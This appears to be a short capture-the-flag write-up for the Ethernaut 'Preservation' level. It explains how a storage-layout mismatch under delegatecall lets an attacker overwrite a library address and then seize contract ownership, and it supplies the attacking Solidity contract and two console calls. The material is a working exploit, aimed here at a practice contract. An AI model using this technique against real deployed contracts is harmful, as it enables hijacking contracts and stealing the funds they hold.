Skip to content

Latest commit

 

History

History
18 lines (15 loc) · 669 Bytes

16-preservation.md

File metadata and controls

18 lines (15 loc) · 669 Bytes

the memory layout of the LibraryContract is incompatible with the contract Preservation, setTime will write to the first memory slot, thus overwriting timeZone1Library address. So, first deploy a contract that will change the owner, then call setFirstTime to override the timeZone1Library with our contract address, lastly setFirstTime with our address.

contract HackPreservation {
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner;

  function setTime(uint _time) public {
    owner = address(_time);
  }
}
await contract.setFirstTime('<contract address>')
await contract.setFirstTime(player)